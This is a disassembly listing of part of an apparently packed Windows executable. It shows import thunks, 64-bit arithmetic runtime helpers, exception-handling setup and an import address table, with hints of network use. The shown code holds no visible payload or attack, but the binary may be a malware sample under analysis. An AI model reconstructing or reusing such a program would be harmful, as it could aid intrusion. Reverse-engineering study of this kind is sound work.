push eax
call sub_4091A7
push eax
call sub_403DB2
add esp, 0Ch
mov [ebp-1124h], eax
cmp eax, edi
jz short loc_411438
cmp eax, 0FFFFFFFFh
jz short loc_411438
mov [ebp+var_101C], edi
lea eax, [ebp+var_1018]
push eax
call sub_40A407
jmp short loc_4113F0
; ---------------------------------------------------------------------------
loc_411438: ; CODE XREF: sub_4111E8+1ECj
; sub_4111E8+235j ...
mov [ebp+var_4], edi
jmp loc_411394
; ---------------------------------------------------------------------------
loc_411440: ; DATA XREF: .packed:004122B8o
push offset aLoop ; "loop"
push offset aMain ; "main"
push [ebp+var_14]
call sub_40287C
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_411456: ; DATA XREF: .packed:004122BCo
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_4], edi
jmp loc_4113B0
; ---------------------------------------------------------------------------
loc_411463: ; CODE XREF: sub_4111E8+16Ej
dec eax
jmp loc_411344
; ---------------------------------------------------------------------------
loc_411469: ; CODE XREF: sub_4111E8+A4j
; sub_4111E8+B2j
inc [ebp+var_1128]
jmp loc_41125C
sub_4111E8 endp
; ---------------------------------------------------------------------------
push offset aEntry ; "entry"
push offset aMain ; "main"
push dword ptr [ebp-14h]
call sub_40287C
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
cmp dword_4191D8, edi
jz short loc_4114AC
push offset dword_4190F8
push offset dword_418E50
call sub_409659
pop ecx
pop ecx
loc_4114AC: ; CODE XREF: .packed:00411499j
call dword_412264 ; WSACleanup
push edi
call sub_41157C ; exit
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114B8 proc near ; CODE XREF: sub_401000+36p
; sub_401B81+61p ...
jmp dword_41213C
sub_4114B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114BE proc near ; CODE XREF: sub_40110A+64p
; sub_4014B0+Bp ...
jmp dword_4121D0
sub_4114BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114C4 proc near ; CODE XREF: sub_4011C4+6Dp
; sub_4014B0+1Ap ...
jmp dword_4121CC
sub_4114C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114CA proc near ; CODE XREF: sub_4011C4+20p
; sub_4011C4+283p ...
jmp dword_4121C8
sub_4114CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114D0 proc near ; CODE XREF: sub_4011C4+18p
; sub_401621+1Bp ...
jmp dword_4121C4
sub_4114D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114D6 proc near ; CODE XREF: sub_4014B0+43p
; sub_401EA8+84p ...
jmp dword_4121C0
sub_4114D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114DC proc near ; CODE XREF: sub_401571+97p
; sub_403EA9+170p ...
jmp dword_4121BC
sub_4114DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114E2 proc near ; CODE XREF: sub_401571+30p
; sub_401571+4Bp ...
jmp dword_4121B8
sub_4114E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114E8 proc near ; CODE XREF: sub_401621+CFp
; sub_401621+DDp ...
jmp dword_4121B4
sub_4114E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114EE proc near ; CODE XREF: sub_4018D5+8Ap
; sub_4027CB+45p ...
jmp dword_4121B0
sub_4114EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114F4 proc near ; CODE XREF: sub_401985+150p
; sub_401B81+120p ...
jmp dword_4121AC
sub_4114F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4114FA proc near ; CODE XREF: sub_401985+122p
; sub_402018+166p ...
jmp dword_4121A8
sub_4114FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411500 proc near ; CODE XREF: sub_401985+85p
; sub_401985+1D8p ...
jmp dword_4121A4
sub_411500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411506 proc near ; CODE XREF: sub_401985+42p
; sub_401B81+F1p ...
jmp dword_4121A0
sub_411506 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411510 proc near ; CODE XREF: sub_401B81+1EAp
; sub_401B81+232p ...
jmp dword_41219C
sub_411510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411516 proc near ; CODE XREF: sub_401B81+11Ap
; sub_401B81+12Bp ...
jmp dword_412198
sub_411516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41151C proc near ; CODE XREF: sub_401EA8+2Fp
; sub_401EA8+4Ep ...
jmp dword_412194
sub_41151C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411522 proc near ; CODE XREF: sub_402018+DDp
; sub_408E1A+A2p ...
jmp dword_412190
sub_411522 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411528 proc near ; CODE XREF: sub_402018+98p
; sub_402018+B8p ...
jmp dword_41218C
sub_411528 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41152E proc near ; CODE XREF: sub_402018+47p
; sub_40311D+1Fp ...
jmp dword_412188
sub_41152E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411540 proc near ; CODE XREF: sub_402EFD+8p
; sub_403E1F+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_411560
loc_41154C: ; CODE XREF: sub_411540+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41154C
loc_411560: ; CODE XREF: sub_411540+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_411540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411570 proc near ; CODE XREF: sub_40324A+Dp
; sub_40324A+26p ...
jmp dword_412184
sub_411570 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411576 proc near ; CODE XREF: sub_404639:loc_404679p
jmp dword_412180
sub_411576 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41157C proc near ; CODE XREF: sub_4050D1+209p
; .packed:004114B3p
jmp dword_41217C
sub_41157C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411590 proc near ; CODE XREF: sub_405ECC+53p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_4115B1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_411601
; ---------------------------------------------------------------------------
loc_4115B1: ; CODE XREF: sub_411590+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_4115BF: ; CODE XREF: sub_411590+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4115BF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_4115EA
cmp edx, [esp+4+arg_4]
ja short loc_4115EA
jb short loc_4115F2
cmp eax, [esp+4+arg_0]
jbe short loc_4115F2
loc_4115EA: ; CODE XREF: sub_411590+4Aj
; sub_411590+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_4115F2: ; CODE XREF: sub_411590+52j
; sub_411590+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_411601: ; CODE XREF: sub_411590+1Fj
pop ebx
retn 10h
sub_411590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411610 proc near ; CODE XREF: sub_405ECC+2Fp
; sub_405ECC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_411632
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_411673
; ---------------------------------------------------------------------------
loc_411632: ; CODE XREF: sub_411610+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_411640: ; CODE XREF: sub_411610+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_411640
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41166E
cmp edx, [esp+8+arg_4]
ja short loc_41166E
jb short loc_41166F
cmp eax, [esp+8+arg_0]
jbe short loc_41166F
loc_41166E: ; CODE XREF: sub_411610+4Ej
; sub_411610+54j
dec esi
loc_41166F: ; CODE XREF: sub_411610+56j
; sub_411610+5Cj
xor edx, edx
mov eax, esi
loc_411673: ; CODE XREF: sub_411610+20j
pop esi
pop ebx
retn 10h
sub_411610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411678 proc near ; CODE XREF: sub_4063E4+171p
; sub_406A40+5Ap ...
jmp dword_412178
sub_411678 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_411680 proc near ; CODE XREF: sub_4067B2+5Fp
; sub_40682C+A6p
cmp cl, 40h
jnb short loc_41169A
cmp cl, 20h
jnb short loc_411690
shrd eax, edx, cl
shr edx, cl
retn
; ---------------------------------------------------------------------------
loc_411690: ; CODE XREF: sub_411680+8j
mov eax, edx
xor edx, edx
and cl, 1Fh
shr eax, cl
retn
; ---------------------------------------------------------------------------
loc_41169A: ; CODE XREF: sub_411680+3j
xor eax, eax
xor edx, edx
retn
sub_411680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4116A0 proc near ; CODE XREF: sub_406A40+53p
; sub_406AB7+53p ...
jmp dword_412174
sub_4116A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4116B0 proc near ; CODE XREF: sub_406A40+40p
; sub_406AB7+40p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_4116D1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_4116D1: ; CODE XREF: sub_4116B0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_4116ED
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_4116ED: ; CODE XREF: sub_4116B0+27j
or eax, eax
jnz short loc_411709
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41174A
; ---------------------------------------------------------------------------
loc_411709: ; CODE XREF: sub_4116B0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_411717: ; CODE XREF: sub_4116B0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_411717
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_411745
cmp edx, [esp+0Ch+arg_4]
ja short loc_411745
jb short loc_411746
cmp eax, [esp+0Ch+arg_0]
jbe short loc_411746
loc_411745: ; CODE XREF: sub_4116B0+85j
; sub_4116B0+8Bj
dec esi
loc_411746: ; CODE XREF: sub_4116B0+8Dj
; sub_4116B0+93j
xor edx, edx
mov eax, esi
loc_41174A: ; CODE XREF: sub_4116B0+57j
dec edi
jnz short loc_411754
neg edx
neg eax
sbb edx, 0
loc_411754: ; CODE XREF: sub_4116B0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_4116B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41175A proc near ; DATA XREF: sub_406BBC+Ao
; sub_406CB2+Ao ...
jmp dword_412170
sub_41175A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411760 proc near ; CODE XREF: sub_406C5D+31p
; sub_406D58+D0p
jmp dword_41216C
sub_411760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411766 proc near ; CODE XREF: sub_406D58+A4p
jmp dword_412168
sub_411766 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41176C proc near ; CODE XREF: sub_407237+B0p
; sub_407237+B6p ...
jmp dword_412164
sub_41176C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411772 proc near ; CODE XREF: sub_407237+3Ep
; sub_407237+62p
jmp dword_412160
sub_411772 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411778 proc near ; CODE XREF: sub_407237+19p
; sub_4072FC+16Fp
jmp dword_41215C
sub_411778 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41177E proc near ; CODE XREF: sub_40765C+E0p
; sub_407A76+165p ...
jmp dword_412158
sub_41177E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411784 proc near ; CODE XREF: sub_4079AC+54p
jmp dword_412154
sub_411784 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41178A proc near ; CODE XREF: sub_407A76+E87p
; .packed:0040B657p ...
jmp dword_412150
sub_41178A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411790 proc near ; CODE XREF: sub_4095E7+38p
; sub_409659+38p ...
jmp dword_41214C
sub_411790 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411796 proc near ; CODE XREF: sub_40A7C4+31p
; sub_40A7C4+54p
jmp dword_412148
sub_411796 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41179C proc near ; CODE XREF: sub_40A82E+2Fp
; sub_40A82E+58p
jmp dword_412144
sub_41179C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117A2 proc near ; CODE XREF: sub_40A82E+17p
jmp dword_412140
sub_4117A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117A8 proc near ; CODE XREF: sub_40C135+67p
; sub_40CEBE+301p ...
jmp dword_412138
sub_4117A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117AE proc near ; CODE XREF: sub_40CEBE+3AFp
; sub_40CEBE+425p
jmp dword_412134
sub_4117AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117B4 proc near ; CODE XREF: sub_40CEBE+1E5p
; sub_40CEBE+23Cp
jmp dword_412130
sub_4117B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117BA proc near ; CODE XREF: sub_40CEBE+1AAp
jmp dword_41212C
sub_4117BA endp
; ---------------------------------------------------------------------------
loc_4117C0: ; CODE XREF: .packed:00411985j
jmp dword_412128
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4117C8 proc near ; CODE XREF: sub_4101E6+5p
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4117C8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4117E8 proc near ; CODE XREF: sub_403767+2Fp
; sub_403767+151p ...
jmp dword_41220C
sub_4117E8 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4117F0 proc near ; CODE XREF: sub_4101E6+6Dp
; sub_4101E6+DAp ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_41185F
retn 4
sub_4117F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4117FE proc near ; CODE XREF: sub_4101E6+8Cp
; sub_4101E6+15Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
and [ebp+var_4], 0
test eax, eax
jz short loc_411850
mov ecx, [eax]
lea edx, [ebp+arg_4]
push edx
push offset dword_419170
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_411850
mov eax, [ebp+arg_4]
push esi
push [ebp+arg_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
mov eax, [ebp+arg_4]
push eax
mov ecx, [eax]
call dword ptr [ecx+8]
test esi, esi
pop esi
jnz short loc_411850
lea eax, [ebp+var_4]
push eax
push 0
call dword_4121DC
test eax, eax
jz short loc_411850
and [ebp+var_4], 0
loc_411850: ; CODE XREF: sub_4117FE+Dj
; sub_4117FE+1Fj ...
push [ebp+var_4]
push [ebp+arg_0]
call sub_41185F
leave
retn 0Ch
sub_4117FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41185F proc near ; CODE XREF: sub_4117F0+6p
; sub_4117FE+58p
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
lea ecx, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_411883
lea eax, [ebp+var_10]
push offset dword_4123C8
push eax
call sub_411952 ; _CxxThrowException
sub_41185F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_411883 proc near ; CODE XREF: sub_41185F+11p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
mov eax, [esp+arg_0]
push esi
mov esi, ecx
and dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov eax, [esp+4+arg_4]
mov dword ptr [esi], offset off_4122C4
test eax, eax
mov [esi+8], eax
jz short loc_4118AF
cmp [esp+4+arg_8], 0
jz short loc_4118AF
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_4118AF: ; CODE XREF: sub_411883+1Dj
; sub_411883+24j
mov eax, esi
pop esi
retn 0Ch
sub_411883 endp
; =============== S U B R O U T I N E =======================================
sub_4118B5 proc near ; DATA XREF: .packed:off_4122C4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4118FE
test [esp+4+arg_0], 1
jz short loc_4118CB
push esi
call sub_41176C ; ??3@YAXPAX@Z
pop ecx
loc_4118CB: ; CODE XREF: sub_4118B5+Dj
mov eax, esi
pop esi
retn 4
sub_4118B5 endp
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push esi
mov esi, ecx
mov ecx, [eax+4]
mov [esi+4], ecx
mov eax, [eax+8]
and dword ptr [esi+0Ch], 0
mov [esi+8], eax
test eax, eax
mov dword ptr [esi], offset off_4122C4
jz short loc_4118F8
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_4118F8: ; CODE XREF: .packed:004118F0j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4118FE proc near ; CODE XREF: sub_4118B5+3p
; DATA XREF: .packed:004123CCo
push esi
mov esi, ecx
mov eax, [esi+8]
mov dword ptr [esi], offset off_4122C4
test eax, eax
jz short loc_411914
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_411914: ; CODE XREF: sub_4118FE+Ej
mov esi, [esi+0Ch]
test esi, esi
jz short loc_411922
push esi
call dword_4120B4 ; LocalFree
loc_411922: ; CODE XREF: sub_4118FE+1Bj
pop esi
retn
sub_4118FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411924 proc near ; CODE XREF: sub_4011C4+C1p
; sub_4050D1+90p ...
jmp dword_4121D4
sub_411924 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_41192A proc near ; CODE XREF: sub_401B81+C9p
; sub_402C11+101p ...
jmp dword_412118
sub_41192A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411930 proc near ; CODE XREF: sub_402230+B1p
; sub_402230+1ABp ...
jmp dword_41211C
sub_411930 endp
; =============== S U B R O U T I N E =======================================
sub_411936 proc near ; DATA XREF: .packed:off_4122CCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_411958 ; ??1type_info@@UAE@XZ
test [esp+4+arg_0], 1
jz short loc_41194C
push esi
call sub_41176C ; ??3@YAXPAX@Z
pop ecx
loc_41194C: ; CODE XREF: sub_411936+Dj
mov eax, esi
pop esi
retn 4
sub_411936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411952 proc near ; CODE XREF: sub_41185F+1Fp
jmp dword_412120
sub_411952 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_411958 proc near ; CODE XREF: sub_411936+3p
jmp dword_412124
sub_411958 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-14h]
jmp loc_41098C
; ---------------------------------------------------------------------------
loc_411968: ; DATA XREF: .packed:0041238Co
lea ecx, [ebp-1Ch]
jmp loc_41098C
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp loc_41098C
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_41098C
; ---------------------------------------------------------------------------
loc_411980: ; DATA XREF: sub_4101E6o
mov eax, offset dword_412360
jmp loc_4117C0
; ---------------------------------------------------------------------------
align 4
dd 19Dh dup(0)
dword_412000 dd 12D72h ; DATA XREF: sub_401000+55r
; sub_404ACF+116r ...
dword_412004 dd 12D60h ; DATA XREF: sub_401000+B2r
; sub_404EDC+91r
dword_412008 dd 12D82h ; DATA XREF: sub_401000+22r
dword_41200C dd 12D92h ; DATA XREF: sub_404ACF+14Dr
; sub_405FF3+20Ar ...
dword_412010 dd 12DA6h ; DATA XREF: sub_404EDC+83r
dword_412014 dd 12DB8h ; DATA XREF: sub_404EDC+24r
dword_412018 dd 12DCAh ; DATA XREF: sub_405FF3+A4r
dword_41201C dd 12DDAh ; DATA XREF: sub_40B31E+59r
dword_412020 dd 12DF0h ; DATA XREF: sub_40B31E+1Er
dword_412024 dd 12E02h ; DATA XREF: sub_40B31E+18r
dword_412028 dd 12D52h ; DATA XREF: sub_401000+EBr
; sub_404ACF+226r ...
align 10h
dword_412030 dd 77E65F4Ch ; DATA XREF: sub_405FF3+B2r
dword_412034 dd 77E7C657h ; DATA XREF: sub_405FF3+D6r
; sub_409277+1D3r ...
dword_412038 dd 77E7513Ch ; DATA XREF: sub_405F9A+8r
dword_41203C dd 77E705C5h ; DATA XREF: sub_404FA8+3Br
dword_412040 dd 77E74672h ; DATA XREF: sub_404EDC+6Br
; sub_4101E6+4C7r
dword_412044 dd 77E705B0h ; DATA XREF: sub_404E31+18r
dword_412048 dd 77E7A837h ; DATA XREF: sub_404E31+30r
; sub_404FEB+80r ...
dword_41204C dd 77E73CE2h ; DATA XREF: sub_404E31+67r
dword_412050 dd 77E7011Ah ; DATA XREF: sub_404E31+9Dr
dword_412054 dd 77E704FCh ; DATA XREF: sub_404D00+16r
; sub_404DAD+15r ...
dword_412058 dd 77E77CCEh ; DATA XREF: sub_40311D+38r
dword_41205C dd 77E805D8h ; DATA XREF: sub_402D7B+2r
; sub_4045B7+12r ...
dword_412060 dd 77E7A5FDh ; DATA XREF: sub_402D7B+Fr
; sub_4045B7+1Fr ...
dword_412064 dd 77E75CB5h ; DATA XREF: sub_40287C+190r
; sub_4052DF+E6r ...
dword_412068 dd 77E6BD13h ; DATA XREF: sub_402230+CCr
; sub_4050D1+123r
dword_41206C dd 77F5157Dh ; DATA XREF: sub_402230+DAr
; sub_407237+8Br ...
dword_412070 dd 77E79D8Ch ; DATA XREF: sub_4018A7+20r
; sub_404FEB+BCr ...
dword_412074 dd 77E6CBF9h ; DATA XREF: sub_401621+50r
dword_412078 dd 77E7727Ah ; DATA XREF: sub_401621+64r
dword_41207C dd 77E76C1Ah ; DATA XREF: sub_405FF3+2Fr
dword_412080 dd 77E79CE3h ; DATA XREF: sub_401621+BAr
dword_412084 dd 77E61BB8h ; DATA XREF: sub_401621+11Cr
; sub_4050D1+1FCr
dword_412088 dd 77EB7624h ; DATA XREF: sub_401621+193r
dword_41208C dd 77E7FF65h ; DATA XREF: sub_401621+1B3r
dword_412090 dd 77E78B82h ; DATA XREF: sub_401621+210r
dword_412094 dd 77E79F93h ; DATA XREF: sub_4011C4+A5r
; sub_40287C+151r ...
dword_412098 dd 77E7A099h ; DATA XREF: sub_4011C4+ACr
; sub_40287C+158r ...
dword_41209C dd 77E706B7h ; DATA XREF: sub_4011C4+E5r
; sub_404639+110r ...
dword_4120A0 dd 77E61A54h ; DATA XREF: sub_4011C4+12Dr
; sub_40495C+7Cr
dword_4120A4 dd 77E61BE6h ; DATA XREF: sub_4011C4+1F0r
; sub_4011C4+299r ...
dword_4120A8 dd 77E616B4h ; DATA XREF: sub_4011C4+22Dr
; sub_404A33+2Er
dword_4120AC dd 77E77963h ; DATA XREF: sub_4011C4+255r
; sub_4011C4+274r ...
dword_4120B0 dd 77E70396h ; DATA XREF: sub_40110A+15r
; sub_4050D1:loc_405263r
dword_4120B4 dd 77E79A45h ; DATA XREF: sub_4118FE+1Er
dword_4120B8 dd 77E73628h ; DATA XREF: sub_40110A+24r
; sub_401985+30r ...
dword_4120BC dd 77E7AC37h ; DATA XREF: sub_40756C+D0r
dword_4120C0 dd 77E75090h ; DATA XREF: sub_409843+71r
dword_4120C4 dd 77E74D76h ; DATA XREF: sub_409843+3Dr
dword_4120C8 dd 77E77797h ; DATA XREF: sub_409843+2Cr
dword_4120CC dd 0 ; DATA XREF: sub_4067B2+3Er
; sub_40682C+10Fr
dword_4120D0 dd 12B66h ; DATA XREF: sub_4067B2+15r
; sub_40682C+6Cr ...
dword_4120D4 dd 12B76h ; DATA XREF: sub_406A40:loc_406AA1r
; sub_406AB7:loc_406B18r ...
dword_4120D8 dd 12B86h ; DATA XREF: sub_406A40+14r
; sub_406AB7+14r ...
dword_4120DC dd 12BA2h ; DATA XREF: sub_406A40+Ar
; sub_406AB7+Ar ...
dword_4120E0 dd 12BBCh ; DATA XREF: sub_406BBC+40r
dword_4120E4 dd 12BCCh ; DATA XREF: sub_406F84+6Br
; sub_406F84:loc_40707Cr
dword_4120E8 dd 12BDEh ; DATA XREF: sub_4071D2+26r
dword_4120EC dd 12BFAh ; DATA XREF: sub_407200+4r
dword_4120F0 dd 1297Eh ; DATA XREF: sub_4011C4:loc_40124Ar
; sub_404A33+14r
dword_4120F4 dd 12C12h ; DATA XREF: sub_40720B+4r
dword_4120F8 dd 129EAh ; DATA XREF: sub_401621+A2r
dword_4120FC dd 12CC0h ; DATA XREF: sub_4111E8+31r
dword_412100 dd 12CB0h ; DATA XREF: sub_4111E8+96r
dword_412104 dd 12CA4h ; DATA XREF: sub_4101E6:loc_410489r
; sub_4101E6+320r ...
dword_412108 dd 12C98h ; DATA XREF: sub_4101E6+58Dr
dword_41210C dd 12C7Eh ; DATA XREF: sub_40FDB3+96r
dword_412110 dd 12C72h ; DATA XREF: sub_409918+1E2r
; sub_4101E6+2C2r ...
align 8
dword_412118 dd 77C1C055h ; DATA XREF: sub_41192Ar
dword_41211C dd 77C423F5h ; DATA XREF: sub_411930r
dword_412120 dd 77C219F5h ; DATA XREF: sub_411952r
dword_412124 dd 77C20C5Bh ; DATA XREF: sub_411958r
dword_412128 dd 77C21AD8h ; DATA XREF: .packed:loc_4117C0r
dword_41212C dd 77C1CF9Eh ; DATA XREF: sub_4117BAr
dword_412130 dd 77C43790h ; DATA XREF: sub_4117B4r
dword_412134 dd 77C43CB2h ; DATA XREF: sub_4117AEr
dword_412138 dd 77C43DBCh ; DATA XREF: sub_4117A8r
dword_41213C dd 77C41FA0h ; DATA XREF: sub_4114B8r
dword_412140 dd 77C43150h ; DATA XREF: sub_4117A2r
dword_412144 dd 77C33FDEh ; DATA XREF: sub_41179Cr
dword_412148 dd 77C33FC1h ; DATA XREF: sub_411796r
dword_41214C dd 77C3CE0Ch ; DATA XREF: sub_411790r
dword_412150 dd 77C42D60h ; DATA XREF: sub_41178Ar
dword_412154 dd 77C1C6F3h ; DATA XREF: sub_411784r
dword_412158 dd 77C435C0h ; DATA XREF: sub_41177Er
dword_41215C dd 77C3E5D9h ; DATA XREF: sub_411778r
dword_412160 dd 77C28925h ; DATA XREF: sub_411772r
dword_412164 dd 77C28933h ; DATA XREF: sub_41176Cr
dword_412168 dd 77C3CCE7h ; DATA XREF: sub_411766r
dword_41216C dd 77C37FEDh ; DATA XREF: sub_411760r
dword_412170 dd 77C33EB0h ; DATA XREF: sub_41175Ar
dword_412174 dd 77C4B940h ; DATA XREF: sub_4116A0r
dword_412178 dd 77C4B120h ; DATA XREF: sub_411678r
